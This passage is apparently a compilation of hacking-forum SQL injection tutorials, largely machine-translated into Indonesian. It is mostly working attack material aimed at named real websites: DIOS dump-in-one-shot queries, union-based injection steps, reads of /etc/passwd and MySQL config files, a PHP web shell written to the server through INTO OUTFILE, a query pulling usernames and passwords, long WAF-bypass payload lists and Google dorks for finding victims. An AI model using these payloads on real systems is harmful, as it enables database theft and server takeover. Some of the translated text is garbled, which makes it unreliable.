  3705. /*!31337ConCaT*/(0x496e6a656374656420627920316d70333231756d3c62723e486f73746e616d653a20,@@hostname,0x3c62723e44617461626173653a20,database/**X**/(),0x3c62723e56657273696f6e3a20,version/**X**/(),0x3c62723e557365723a20,user/**X**/(),0x3c62723e,(/*!31337sELecT*/(@)/*!31337from*/(/*!31337sELecT*/(@:=0x00),(/*!31337sELecT*/(@)/*!31337from*/(`InFoRMAtiON_sCHeMa`.`ColUMNs`)/*!31337where*/(`TAblE_sCHemA`=DaTaBaSe/**X**/())and(@)in(@:=/*!31337CoNCat*/(@,0x3c62723e20,/*!31337TaBLe_nAMe*/,0x203a3a20,/*!31337column_name*/))))a))
  3706.  
  3707. (/*!31337select*//*!31337concat*/(0x496e6a6563746564206279204e64697669633430343c62723e44617461626173653a20,database/**/(),0x3c62723e56657273696f6e3a20,version/**/(),0x3c62723e,@:=0x2d2d2d,(/*!31337select*/count(*)/*!31337from*//*!31337information_schema*/./*!31337columns*//*!31337WhErE*/(/*!31337TaBlE_ScHeMa*/!=0x696e666f726d6174696f6e5f736368656d61)AND@:=/*!31337concat*/+(@,0x3c62723e,/*!31337table_name*/,0x3a3a,/*!31337column_name*/)),@))
  3708.  
  3709. +div+@div:=(/*!31337concat*/(@c:=0x00,if((/*!31337select*/+/*!31337count*/(*)/*!31337from*/+/*!31337information_schema*/./*!31337columns*/+/*!31337where*/+/*!31337table_schema*/=database/*ndivic*/()+and+@c:=/*!31337concat*/(@c,0x3c62723e, /*!31337table_name*/,0x2e,/*!31337column_name*/)),0x00,0x00),@c))+/*!31337UNION*/+ALL+/*!31337SELECT*/+
  3710.  
  3711. Hai Im Ph.h4rh4r dari Blue Security Hackers
  3712.  
  3713. Saya akan menunjukkan itu adalah Metode berbasis String
  3714.  
  3715. Situs contoh: http://www.gwapoako.com/readnews.php?id=6
  3716.  
  3717. 1: meninggalkan akhir 'pre check jika vuln situs dalam injeksi sql
  3718. http://www.gwapoako.com/readnews.php?id=6 '
  3719.  
  3720. Peringatan: mysql_fetch_array () mengharapkan parameter 1 menjadi sumber daya, boolean diberikan dalam /home/jungleisland/gwapoako.com/readnews.php on line 34
  3721.  
  3722. kesalahan db? berarti rentan.
  3723.  
  3724. ini adalah cara mendapatkan metode berbasis string di situs
  3725.  
  3726. 2: tingkatkan akhir Anda
  3727. http://www.gwapoako.com/readnews.php?id=6 ''
  3728.  
  3729. tidak ada kesalahan diba? berarti Metode Berbasis String tidak akan digunakan
  3730.  
  3731. kami memiliki contoh yang dapat digunakan untuk Metode Berbasis String
  3732. Contoh:
  3733. '- -
  3734. '- +
  3735.  
  3736. 3: periksa apakah beberapa kolom berada di situs menggunakan pesanan oleh.
  3737. http://www.gwapoako.com/readnews.php?id=6 'pesanan sebesar 5-- -
  3738.  
  3739. memesan dengan 5 kesalahan pesanan pero ung oleh 4 ok
  3740. berarti ung situs 4 kolom saya
  3741.  
  3742. 4: menggunakan union pilih.
  3743. http://www.gwapoako.com/readnews.php?id=6 'serikat pilih 1,2,3,4-- -
  3744.  
  3745. Contoh Anda melihat 3 dan 4, itu berarti kolom yang rentan
  3746.  
  3747. 5: Saya akan menggunakan SANG PENCIPTA untuk membuat saya mudah
  3748. (Dengan peretasan)
  3749. DIOS = Dump Dalam Satu Tembakan
  3750.  
  3751. Ini akan menggunakan kueri pra-dump pada tabel dan kolom situs. dan query n ini diletakkan pada kolom vuln pro I letakkan s 3 kolom 3 juga dapat nmn s kolom 4
  3752.  
  3753. make_set (6, @ = 0x0a, (/ *! 50000select * / (1) dari (/*!50000information_schema.columns*/)where@:=make_set(511,@,0x3c6c693e,/*!50000table_name*/,/ *! 50000column_name * /)), @)
  3754.  
  3755. serikat http://www.gwapoako.com/readnews.php?id=6' pilih 1,2, make_set (6, @ = 0x0a, (/ *! 50000select * / (1) dari (/ *! 50000information_schema. kolom * / di mana @ = make_set (511, @, 0x3c6c693e, / * 50000table_name * / / * 50000column_name * /)), @), 4) -!! 20%
  3756.  
  3757. Selesai 🙂 Selamat Meretas 🙂
  3758.  
  3759. saya akan memberitahu methodh tentang shell upload melalui query
  3760. Pertama-tama menemukan situs web yang rentan terhadap injeksi sql. Anda dapat menemukan situs web oleh dorks atau secara manual seperti saya telah menemukan ini.
  3761. Anda membutuhkan 2 hal utama:
  3762. 1- Jalur Akar dari situs web
  3763. 2- Direktori yang bisa ditulisi
  3764. Sebagian besar waktu, Anda akan melihat jalan root dalam kesalahan SQL situs tersebut. Seperti yang berikut.
  3765. Peringatan: mysql_fetch_assoc () mengharapkan parameter 1 sebagai sumber daya, boolean diberikan di /home/aeiti/public_html/admin/requires/functions.php on line 1327
  3766. Nah Jika situs web yang rentan tidak menunjukkan jalur root maka jangan khawatir saya akan menunjukkan cara untuk mengetahui jalur root. Dan Juga Direktori yang Dapat Ditulis.
  3767. http://www.jantv.in/comments/showmore.php?id=68884 '
  3768. Saya tidak memulai dengan abc dari SQLI Saya harap Anda tahu dasar-dasarnya. : D
  3769. Sekarang kita harus menemukan kolom situs web kemudian kolom yang rentan seperti situs saya memiliki 11 kolom dan 5 kolom rentan
  3770. http://www.jantv.in/comments/showmore.php?id=68884 'UniOn SeleCt 1,2,3,4,5,6,7,8,9,10,11-- -
  3771. http://www.jantv.in/comments/showmore.php?id=68884 'UniOn SeleCt 1,2,3,4, versi (), 6,7,8,9,10,11-- -
  3772. Mari Coba Coba Muat Berkas Situs Web
  3773. http://www.site.in/comments/showmore.php?id=68884 'UniOn SeleCt 1,2,3,4, load_file (' / etc / passwd '), 6,7,8,9,10, 11-- -
  3774. http://www.site.in/comments/showmore.php?id=68884 'UniOn SeleCt 1,2,3,4, load_file (' / etc / my.cnf '), 6,7,8,9, 10,11-- - -
  3775. http://www.site.in/comments/showmore.php?id=68884 'UniOn SeleCt 1,2,3,4, load_file (' / etc / group '), 6,7,8,9,10, 11-- -
  3776. http://www.site.in/comments/showmore.php?id=68884 'UniOn SeleCt 1,2,3,4, load_file (' / etc / services '), 6,7,8,9,10, 11-- -
  3777. http://www.site.in/comments/showmore.php?id=68884 'UniOn SeleCt 1,2,3,4, load_file (' / etc / hosts '), 6,7,8,9,10, 11-- -
  3778. Kami tidak perlu membaca file apa pun yang disebutkan di atas hanya untuk menambah pengetahuan Anda. Sekarang kita harus memeriksa hak akses file untuk pengguna saat ini untuk pertama kali ini Anda harus menemukan nama pengguna saat ini.
  3779. Seperti ini
  3780. http://www.jantv.in/comments/showmore.php?id=68884 'UniOn SeleCt 1,2,3,4, current_user, 6,7,8,9,10,11-- -
  3781. Nama Pengguna Saat Ini kami adalah root
  3782. Sekarang Periksa Privilages File untuk root Pengguna
  3783. http://www.jantv.in/comments/showmore.php?id=68884 'UniOn SeleCt 1,2,3,4, file_priv, 6,7,8,9,10,11 DARI mysql.user WHERE pengguna = 'root' - -
  3784. yang menunjukkan Y :)
  3785. Jika itu menunjukkan Y (ya) pada kolom rentan situs web yang berarti kita memiliki hak akses file untuk root pengguna saat ini
  3786. Dan jika tidak menunjukkan Y maka jangan buang waktu Anda di sana: D
  3787. Sekarang kita harus menemukan direktori yang bisa ditulisi untuk ini Anda dapat menggunakan google dorks juga dan pengetahuan Anda juga :)
  3788. tapi di sini kamu akan terjebak untuk menemukan direktori ....
  3789. saya tahu Anda berpikir bahwa Anda akan meletakkan 'dan Anda akan mendapatkan direktori dalam kesalahan: p :)
  3790. http://www.jantv.in/comments/showmore.php?id=68884 '
  3791. Lihat tidak ada diektori: D
  3792. sekarang
  3793. ada satu lagi trik untuk mendapatkan direktori
  3794. gunakan "[]" ini sebelumnya = 68884
  3795. seperti
  3796. http://www.jantv.in/comments/showmore.php?id[]=68884
  3797. coba lihat apa yang akan terjadi
  3798. lihat di sini kita mendapatkan direktori :) :)
  3799. sekarang kita akan mengunggah kode jahat kita di kolom vuln 3 :): D: D
  3800. http://www.jantv.in/comments/showmore.php?id=68884 'UniOn SeleCt 1,2,3,4, "<? system ($ _ REQUEST [' sembarang perintah u punya :) ']) ;? > ", 6,7,8,9,10,11 ke dalam file 'outfile' ke C: /wamp/www/comments/name_u_want.php '- + -
  3801. tapi aku punya milikku :)
  3802. saya hanya mengubah kode saya di Hex :)
  3803. http://www.jantv.in/comments/showmore.php?id=68884'+UNION+ALL+SELECT+1,2,3,4,0x3c666f726d20656e63747970653d226d756c7469706172742f666f726d2d646 ke outfile 'C: / wamp / www / comments / any_name_u_want. php '- + -
  3804. maka kamu akan mendapatkan seperti itu artinya kamu meng-upload kode ur :)
  3805. lalu periksa
  3806. http://www.jantv.in/comments/any_name_u_typed.php: D
  3807. Anda akan mendapatkan opsi browse di mana Anda dapat memilih shell Anda
  3808. biarkan melihat
  3809. yang saya singkirkan shell saya :): D saya menemukan shell itu oleh Anas bro thnks Anas bro :)
  3810. ok sekarang lihat opsi unggah
  3811. klik di atasnya
  3812. sekarang lihat file berhasil diunggah :)
  3813. sekarang buka dengan metode yang sama seperti sebelumnya
  3814. http://www.jantv.in/comments/any_name_of_any_thing_u_uploaded.php
  3815. lihat wee berhasil meng-upload shell via query sqli :)
  3816.  
  3817. Terima kasih
  3818.  
  3819. http: // www.che.iitm.ac. di / dalam .php? id = 6
  3820. http: // www.che.iitm.ac. di / dalam .php? id = 6 'Union Select 1,2-- -
  3821. jika Anda mencoba untuk menyeimbangkan pesanan secara normal oleh atau grup saat itu Anda akan
  3822. temukan 2 kolom && this shit error "Pernyataan SELECT yang digunakan memiliki jumlah kolom yang berbeda"
  3823. Dalam jenis kesalahan ini kami mencoba beberapa metode seperti
  3824. Kolom 1.Bruteforce,
  3825. 2.do hex di semua kolom
  3826. 3. menghasilkan query + dll
  3827. 4. atau berbasis kesalahan
  3828. Ada opsi lain untuk menyeimbangkan permintaan seperti ini ...
  3829. + GROUP + BY + 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 , 24,25,26,27,
  3830. Sekarang coba cara ini untuk mendapatkan kolom
  3831. http://www.che.iitm.ac.in/inner.php?id=6 '+ GROUP + BY
  3832. + 1, 2,3, 4, 5, 6, 7,8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25 , 26, 27, -
  3833. Kolom tidak dikenal '8' di 'pernyataan grup'
  3834. jadi ada 7 kolom :)
  3835. Mari coba ini
  3836. http: // www.che.iitm.ac. di / dalam .php? id = 6 'dan 0 Union Pilih 1,2,3,4,5,6,7-- -
  3837. tetapi ini "Pernyataan SELECT yang digunakan memiliki jumlah kolom yang berbeda" lagi: 3
  3838. Sekarang coba cara Anda untuk melewati kesalahan ini
  3839. http://www.che.iitm.ac.in/inner.php?id=6 'dan 0 Union
  3840. Pilih 111, 2222,3333, 4444, 5555,6666, 7777-- -
  3841. tidak berfungsi
  3842. http: // www.che.iitm.ac. dalam / inner .php? id = 6 'dan 0 Union Select versi (), versi (), versi (), versi (), versi (), versi (), versi () - -
  3843. juga tidak berfungsi
  3844. Anda dapat mencoba lebih banyak cara lain seperti mengganti col palsu, nol atau kekuatan kasar, bt yang panjang
  3845. Dalam tantangan ini saya menemukan sesuatu yang berbeda ...
  3846. : 3
  3847. ok mari coba kueri yang diarahkan
  3848. Kita tahu dalam query yang diarahkan setiap kolom diganti dengan nol atau hex dengan satu "'" atau "1' - -"
  3849. http://www.che.iitm.ac.in/inner.php?id=-6 'Union
  3850. Pilih 1, 0x3227, 3, 4, 5, 6,7 - -
  3851. :)
  3852. ditemukan kesalahan dalam kolom no. 2
  3853. http: // www.che.iitm.ac. di / dalam .php? id = - 6 'Union Select 1, "2' - -", 3,4,5,6,7-- -
  3854. :)
  3855. Jika Anda mencoba ini, Anda akan menemukan kolom 4 secara otomatis
  3856. : D
  3857. atau Anda dapat melakukan penyatuan berdasarkan lagi kolom yang diarahkan ini
  3858. tapi saya katakan menggunakan serikat pilih hanya 1 kali
  3859. sekarang yang lain adalah tugas yang mudah
  3860. Terima kasih .....
  3861.  
  3862.  
  3863. SQL COMMENTS
  3864. ‘ or 1=1#‘ or 1=1– –‘ or 1=1/* (MySQL < 5.1)
  3865. ' or 1=1;%00
  3866. ' or 1=1 union select 1,2 as `
  3867. ' or#newline1='1'
  3868. or– -newline1='1'
  3869. /*!50000or*/1='1'
  3870. /*!or*/1='1
  3871. [-----------------------------------------------------]
  3872. PREFIXES
  3873. + – ~ !
  3874. ‘ or –+2=- -!!!’2
  3875. [-----------------------------------------------------]
  3876. OPERATORS
  3877. ^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,,
  3878. XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY,BETWEEN, ISNULL
  3879. [-----------------------------------------------------]
  3880. WHITESPACES
  3881. %20 %09 %0a %0b %0c %0d %a0 /**/
  3882. ‘or+(1)sounds/**/like“1“–%a0-
  3883. ‘union(select(1),tabe_name,(3)from`information_schema`.`tables`)#
  3884. [-----------------------------------------------------]
  3885. No Whitespace Bypass Using Comments
  3886. ?id=1/*comment*/and/**/1=1/**/--
  3887. No Whitespace Bypass Using Parenthesis
  3888. ?id=(1)and(1)=(1)--
  3889. [-----------------------------------------------------]
  3890. EXTRACT SUBSTRINGS
  3891. substr(‘abc’,1,1) = ‘a’
  3892. substr(‘abc’ from 1 for 1) = ‘a’
  3893. substring(‘abc’,1,1) = ‘a’
  3894. substring(‘abc’ from 1 for 1) = ‘a’
  3895. mid(‘abc’,1,1) = ‘a’
  3896. mid(‘abc’ from 1 for 1) = ‘a’
  3897. lpad(‘abc’,1,space(1)) = ‘a’
  3898. rpad(‘abc’,1,space(1)) = ‘a’
  3899. left(‘abc’,1) = ‘a’
  3900. reverse(right(reverse(‘abc’),1)) = ‘a’
  3901. insert(insert(‘abc’,1,0,space(0)),2,222,space(0)) = ‘a’
  3902. space(0) = trim(version()from(version()))
  3903. `
  3904. `
  3905. `
  3906. ©M4c
  3907.  
  3908. SQL INJECTION: BYPASSING WAF (WEB APPLICATION FIREWALL)
  3909. *** tutorial ini untuk menunjukkan kepada Anda bagaimana cara Bypass WAF (Aplikasi Web Firewall) ***
  3910. http://www.instintocigano.com.br/artigos-de-baralho-cigano.php?id=-130+Union+select+1,2,3,4,5,6,7,8,9--
  3911. seperti yang kita lihat [pilih] adalah down double text [Mengganti kata kunci] seperti SeLselectECT ini
  3912. www.instintocigano.com.br/artigos-de-baralho-cigano.php?id=-130+UnIoN+SeLselectECT+1,2,3,4,5,6,7,8,9--
  3913. [5] WAF Bypassing - menggunakan karakter.
  3914. Ada banyak sekali karakter yang tersedia yang dapat kita gunakan untuk mem-bypass filter WAF.
  3915. karakter berikut dapat melakukan ini:
  3916. |,?, ", ', *,%, £, [],;,:, \ /, $, €, () ...
  3917. dengan menggunakan karakter ini dalam banyak kasus / *! * / tidak difilter. Tetapi tanda * diganti dengan spasi dan kesatuan - pilih disaring. yang berarti mengganti kata kunci tidak akan berfungsi.
  3918. Dalam kasus ini kita dapat menggunakan karakter * untuk memisahkan kata kunci.
  3919. Kami akan melakukan hal logis berikutnya:
  3920. www. [situs] .com / index.php? id = -1 + uni * pada + sel * ect + 1,2,3,4 - + -
  3921. Hampir sama dengan membagi kata kunci.
  3922. Tetapi dalam hal ini hanya * disaring oleh itu menggantikannya sedikit pun ruang memiliki hasil yang sama seperti dalam membagi kata kunci.
  3923. [6] Advanced WAF Bypassing - Kapitalisasi.
  3924. Cara lain adalah dengan hanya memanfaatkan karakter kita.
  3925. Daripada unIoN serikat Dalam beberapa dasar WAF ini akan berhasil.
  3926. Contoh di URL:
  3927. www. [site] .com / index.php? id = -1 + UnIoN + SeLeCt + 1,2,3,4 - + -
  3928. [7] Polusi Parameter HTTP (HPP)
  3929. HTTP Parameter Pollution (HPP) adalah teknik penghindaran serangan Web yang memungkinkan penyerang untuk membuat permintaan HTTP untuk memanipulasi atau mengambil informasi tersembunyi. Teknik pengelakan ini didasarkan pada pemisahan vektor serangan antara beberapa contoh parameter dengan nama yang sama. Karena tidak ada RFC HTTP yang relevan mendefinisikan semantik manipulasi parameter HTTP, setiap platform pengiriman aplikasi web dapat mengatasinya secara berbeda. Secara khusus, beberapa lingkungan memproses permintaan seperti itu dengan menggabungkan nilai-nilai yang diambil dari semua contoh nama parameter dalam permintaan. Perilaku ini disalahgunakan oleh penyerang untuk mem-bypass mekanisme keamanan berbasis pola.
  3930. kita melihat dua vektor injeksi SQL: "Regular attack" dan "Attack using HPP". Serangan reguler menunjukkan injeksi SQL standar dalam parameter prodID. Serangan ini dapat dengan mudah diidentifikasi oleh mekanisme deteksi keamanan, seperti Firewall Aplikasi Web (WAF). Serangan kedua [Gambar 2] menggunakan HPP pada parameter prodID. Dalam hal ini, vektor serangan didistribusikan di beberapa kejadian parameter prodID. Dengan kombinasi yang tepat dari lingkungan teknologi dan server web, serangan itu berhasil. Agar WAF untuk mengidentifikasi dan memblokir vektor serangan lengkap yang diperlukan untuk juga memeriksa input gabungan.
  3931. http://testasp.vulnweb.com/showforum.asp?id=-1 union pilih 1,2 -
  3932. testasp.vulnweb.com/showforum.asp?id=-1/* & id = * / union / * & id = * / select / * & id = * / 1,2 -
  3933. Teknik HPP
  3934. Spoiler (Klik untuk Melihat)
  3935. [8] Teknik Bypass WAF CRLF
  3936. CR LF berarti "Pengangkutan Kembali, Umpan Jalur"
  3937. CR LF berarti "Carriage Return, Line Feed" -itu adalah hangover DOS dari masa lalu ketika beberapa perangkat memerlukan Pengembalian Pengangkutan, dan beberapa perangkat membutuhkan Feed Line untuk mendapatkan baris baru, sehingga Microsoft memutuskan untuk membuat baris memiliki kedua karakter, sehingga mereka akan menampilkan dengan benar di semua perangkat.
  3938. Program Windows mengharapkan format baris baru mereka di CRLF (\ r \ n). * nix hanya mengharapkan data LF (\ n). Jika Anda membuka dokumen teks Unix di Notepad pada windows, Anda akan melihat bahwa semua jeda baris menghilang dan seluruh dokumen berada pada satu baris. Itu karena Notepad mengharapkan data CRLF, dan dokumen Unix tidak memiliki karakter.
  3939. Ada aplikasi yang akan mengkonversi ini untuk Anda pada distro * nix standar (dos2unix dan unix2dos)
  3940. Bagi mereka yang bertanya-tanya, pengembalian pengangkutan dan feed garis berbeda dari kembali pada hari-hari Mesin Ketik, ketika pengembalian carriage dan feed baris adalah dua hal yang berbeda. Satu akan membawa Anda ke awal baris (Carriage Return) dan satu akan memindahkan Anda satu baris lebih rendah, tetapi di lokasi horizontal yang sama (Line Feed)
  3941. Teknik CRLF
  3942. Sintaks:
  3943. Kode PHP:
  3944. % 0A% 0D + Pernyataan Mysql +% 0A% 0D
  3945. ? id = -2 +% 0A% 0D / *!% 0A% 0Dunion * / +% 0A% 0D / *! 50000Pilih * /% 0A% 0D / *! + 77771,77772, unhex (hex (/ *! kata sandi * /)), 77774 + dari + / *! `Users` * / - -
  3946. Contoh di URL:
  3947. fpchurch.org.uk/News/view.php?id=-26+%0A%0Dunion%0A%0D+%0A%0Dselect%0A%0D+1,2,3,4,5 -
  3948. [9] Kesalahan Fatal Terjadi melewati
  3949. untuk memahami bagaimana kami dapat melewati Fatal Error Terjadi lihat Contoh ini:
  3950. Contoh di URL:
  3951. http://wwfa.org.uk/article.php?id=-174 UNION SELECT 1,2,3,4,5,6,7,8--
  3952. Yang disimpulkan bahwa kesalahan dalam struktur salah satu kolom Untuk menghindari kesalahan ini cobalah mengubah nilai kolom kolom kata null satu per satu: -
  3953. Kode PHP:
  3954. http://wwfa.org.uk/article.php?id=-174 UNION SELECT null, 2,3,4,5,6,7,8-- Kesalahan
  3955. http://wwfa.org.uk/article.php?id=-174 UNION SELECT 1, null, 3,4,5,6,7,8-- Kesalahan
  3956. http://wwfa.org.uk/article.php?id=-174 UNION SELECT 1,2, null, 4,5,6,7,8-- Kesalahan
  3957. http://wwfa.org.uk/article.
  3958.  
  3959. DIOS Query Collections
  3960.  
  3961.  
  3962. 1. Show All Database --->
  3963.  
  3964. (select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.schemata)where (@a)in (@a:=/*!50000concat*/(@a,schema_name,'
  3965. '))))a)
  3966.  
  3967. 2.Show All Tables --->
  3968.  
  3969. (select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables)where (@a)in (@a:=/*!50000concat*/(@a,table_name,'
  3970. '))))a)
  3971.  
  3972. 3. Show All Tables without information_schema ---->
  3973.  
  3974. (select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables)where table_schema!='information_schema' and(@a)in (@a:=/*!50000concat*/(@a,table_name,'
  3975. '))))a)
  3976.  
  3977.  
  3978. 4. Show All Database and Tables --->
  3979.  
  3980. (select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables)where table_schema!='information_schema' and(@a)in (@a:=/*!50000concat*/(@a,table_schema,0x3a,table_name,'
  3981. '))))a)
  3982.  
  3983.  
  3984. 5. Show All Database and Tables and Columns --->
  3985.  
  3986. (select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns)where table_schema!='information_schema' and(@a)in (@a:=/*!50000concat*/(@a,table_schema,' > ',table_name,' > ',column_name,'
  3987. '))))a)
  3988.  
  3989.  
  3990. 6.Show Target Hacker Tables Name ---->
  3991.  
  3992.  
  3993. (select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns)where table_schema!='information_schema' and table_name like 'Hacker_%' and(@a)in (@a:=concat(@a,table_schema,' > ',table_name,' > ',column_name,'
  3994. '))))a)
  3995.  
  3996.  
  3997. 7.Show Each Table and All Table Columns ---->
  3998.  
  3999. (select (@a) from (select(@a:=0x00),(@tbl:=0x00),(select (@a) from (information_schema.columns) where (table_schema!='information_schema') and(0x00)in (@a:=concat(@a,0x3c62723e,if( (@tbl!=table_name), Concat(0x3c62723e,table_schema,' :: ',@tbl:=table_name,'',column_name), (column_name))))))a)
  4000.  
  4001. 8. Show Each Table with Row Count and All Table Columns ---->
  4002.  
  4003. (select (@a) from (select(@a:=0x00),(@tbl:=0x00),(@tbl_sc:=0x00),(select (@a) from (information_schema.columns) where (table_schema!='information_schema') and(0x00)in (@a:=concat(@a,0x3c62723e,if( (@tbl!=table_name), Concat(0x3c62723e,@tbl_sc:=table_schema,' :: ',@tbl:=table_name,' (Rows ',(select table_rows from information_schema.tables where table_schema=@tbl_sc and table_name=@tbl),')
  4004. ',column_name), (column_name))))))a)
  4005.  
  4006.  
  4007. 9. Show Each Table with Row Count & number order and All Table Columns --->
  4008.  
  4009. (select (@a) from (select(@a:=0x00),(@tbl:=0x00),(@tbl_sc:=0x00),(@num:=0),(select (@a) from (information_schema.columns) where (table_schema!='information_schema') and(0x00)in (@a:=concat(@a,0x3c62723e,if( (@tbl!=table_name), Concat(0x3c62723e,@num:=(@num%2b1),0x2920,@tbl_sc:=table_schema,' :: ',@tbl:=table_name,' (Rows ',(select table_rows from information_schema.tables where table_schema=@tbl_sc and table_name=@tbl),')
  4010. ',column_name), (column_name))))))a)
  4011.  
  4012. Or
  4013.  
  4014. Bypass -->
  4015.  
  4016. (/*!12345%73elect*/(@a)/*!12345%66rom*/(/*!12345%73elect*/(@a:=0x00),(@tbl:=0x00),(@tbl_sc:=0x00),(@num:=0),(/*!12345%73elect*/(@a)/*!12345%66rom*/(/*!12345`%69nformation_%73chema`.`%63olumns`*/)%77here (`%74able_schema`!=/*!12345'%69nformation_schema'*/)and(0x00)in(@a:=%63oncat%0a(@a,0x3c62723e,if( (@tbl!=/*!12345`table_name`*/), %43oncat%0a(0x3c62723e,@num:=(@num%2b1),0x2920,@tbl_sc:=`table_schema`,0x203a3a20,@tbl:=`%74able_name`,0x2028526f777320,(/*!12345%73elect*/`table_rows`from/*!12345`%69nformation_schema`.`tables`*/where table_schema=@tbl_sc and/*!12345`%74able_name`*/=@tbl),0x293c62723e,/*!12345`%63olumn_name`*/), (/*!12345`%63olumn_name`*/))))))a)
  4017.  
  4018.  
  4019. 10. Extract Column Data from Table ------>
  4020.  
  4021. (select (@) from (select(@:=0x00),(select (@) from (users) where (@)in (@:=concat(@,0x3C,0x62,0x72,0x3E,' [ ',username,' ] > ',pass,' > '))))a)#
  4022.  
  4023. -h4rh4r
  4024.  
  4025. Sql Injection types
  4026. 1. Error Based Injections (Union Select)
  4027. 1. String
  4028. 2. Intiger
  4029. 2. Error Based Injections (Double Injection Based)
  4030. 3. BLIND Injections:
  4031. 1.Boolian Based
  4032. 2.Time Based
  4033. 4. Update Query Injection.
  4034. 5. Insert Query Injections.
  4035. 6. Header Injections.
  4036. 1.Referer based.
  4037. 2.UserAgent based.
  4038. 3.Cookie based.
  4039.  
  4040. MYSQL INJECTION - BYPASS UNION SELECT (WAF)
  4041. WHAT IS BYPASS : when target having WAF (web application firewall) secure encption or security on there server its cannot be directly get any vulnerble columns or its cannot be injeCted! so there haCker try to put diffrent query in combined charachaters encrpted,encoded,modifyed sql query parameters like one called UNION SELECT or UNION ALL SELECT!
  4042. there is all types of waf bypass method for bypass union select!
  4043. %55nion(%53elect 1,2,3)-- -
  4044. +union+distinct+select+
  4045. +union+distinctROW+select+
  4046. /**//*!12345UNION SELECT*//**/
  4047. /**//*!50000UNION SELECT*//**/
  4048. /**/UNION/**//*!50000SELECT*//**/
  4049. /*!50000UniON SeLeCt*/
  4050. union /*!50000%53elect*/
  4051. + #‎union + #‎select
  4052. + #‎1q %0AuNiOn all#qa%0A#%0AsEleCt
  4053. /*!%55NiOn*/ /*!%53eLEct*/
  4054. /*!u%6eion*//*!se%6cect*/
  4055. +un/**/ion+se/**/lect
  4056. uni%0bon+se%0blect
  4057. %2f**%2funion%2f**%2fselect
  4058. union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
  4059. REVERSE(noinu)+REVERSE(tceles)
  4060. /*--*/union/*--*/select/*--*/
  4061. union(/*!/**/SeleCT */ 1,2,3)
  4062. /*!union*/+/*!select*/
  4063. union+/*!select*/
  4064. /**/union/**/select/**/
  4065. /**/uNIon/**/sEleCt/**/
  4066. /**//*!union*//**//*!select*//**/
  4067. /*!uNIOn*//*!SelECt*/
  4068. +union+distinct+select+
  4069. +union+distinctROW+select+
  4070. uNiOn aLl sElEcT
  4071. if you got errors! please dnt loose hope! because in haCking! hope is your mirror of future in this ethical word lol i dnt want to be jesus forget these lines and try all method i m sure u got success soon! best of luck happy haCking! ;-)
  4072.  
  4073. ~h4rh4r
  4074.  
  4075. Di sini Anda akan menemukan tutorial langkah demi langkah yang sangat detail yang ditulis oleh saya (PhortyPhour) tentang injeksi SQL. Ini murni untuk tujuan pendidikan dan akan digunakan atas kebijaksanaan pembaca.
  4076.  
  4077. Pertama kita harus tahu persis apa itu injeksi SQL.
  4078.  
  4079. Injeksi SQL adalah teknik injeksi kode yang mengeksploitasi kerentanan keamanan yang terjadi di lapisan basis data aplikasi. Kerentanan hadir ketika input pengguna salah difilter untuk karakter string literal escape yang tertanam dalam pernyataan SQL atau input pengguna tidak diketik kuat dan dengan demikian secara tidak terduga dieksekusi. Ini adalah contoh dari kelas kerentanan yang lebih umum yang dapat terjadi setiap kali salah satu pemrograman atau bahasa scripting tertanam di dalam yang lain. Serangan injeksi SQL juga dikenal sebagai serangan penyisipan SQL.
  4080.  
  4081. Itu adalah paragraf pertama dari halaman wikipedia untuk SQLi (injeksi SQL) ditemukan di sini:
  4082. http://en.wikipedia.org/wiki/SQL_injection
  4083.  
  4084. Saya akan menyarankan membaca seluruh halaman.
  4085.  
  4086. Apa yang dicakup dalam tutorial ini?
  4087.  
  4088. Bagian Satu - Penilaian Situs Web
  4089. Bagian Satu - Menemukan situs web yang rentan
  4090. Bagian Dua - Menentukan jumlah kolom
  4091. Bagian Tiga - Menemukan kolom mana yang rentan
  4092.  
  4093. Bagian Dua - Mengumpulkan Informasi
  4094. Bagian Satu - Menentukan versi SQL
  4095. Bagian Dua - Menemukan basis data
  4096.  
  4097. Bagian Tiga - The Good Stuff
  4098. Bagian Satu - Menemukan nama-nama tabel
  4099. Bagian Dua - Menemukan nama-nama kolom
  4100. Bagian Tiga - Menampilkan isi kolom
  4101. Bagian Empat - Mencari halaman admin
  4102.  
  4103. Sekarang mari kita mulai.
  4104.  
  4105. Bagian Satu - Penilaian Situs Web
  4106.  
  4107. Agar kami dapat mulai mengeksploitasi situs web, pertama-tama kami harus tahu persis apa yang kami suntikkan. Inilah yang akan kami bahas di Bagian Satu bersama dengan cara menilai informasi yang kami kumpulkan.
  4108.  
  4109. Bagian Satu - Menemukan situs web yang rentan
  4110.  
  4111. Situs web yang rentan dapat ditemukan menggunakan dorks (saya akan menyertakan daftar di akhir tutorial ini), baik di Google atau dengan pemindai eksploit. Bagi Anda yang tidak terbiasa dengan istilah "dorks", saya akan mencoba menjelaskan.
  4112.  
  4113. Dorks adalah URL situs web yang dikenal rentan. Dalam injeksi SQL, dorks ini terlihat seperti ini:
  4114.  
  4115. Kode:
  4116. inurl: buy.php? id =
  4117.  
  4118. Ini akan dimasukkan ke mesin pencari dan karena "inurl:" bagian dari dork, mesin pencari akan mengembalikan hasil dengan URL yang berisi karakter yang sama. Beberapa situs yang memiliki dork ini di situs web mereka mungkin rentan terhadap injeksi SQL.
  4119.  
  4120. Sekarang katakanlah kami menemukan halaman:
  4121.  
  4122. Kode:
  4123. http://www.site.com/buy.php?id=1
  4124.  
  4125. Untuk menguji situs ini, yang perlu kita lakukan adalah menambahkan 'baik di antara tanda "=" dan "1" atau setelah "1" sehingga terlihat seperti ini:
  4126.  
  4127. Kode:
  4128. http://www.site.com/buy.php?id=1 '
  4129. atau
  4130. http://www.site.com/buy.php?id='1
  4131.  
  4132. Setelah menekan enter, jika situs web ini mengembalikan kesalahan seperti berikut:
  4133.  
  4134. Kode:
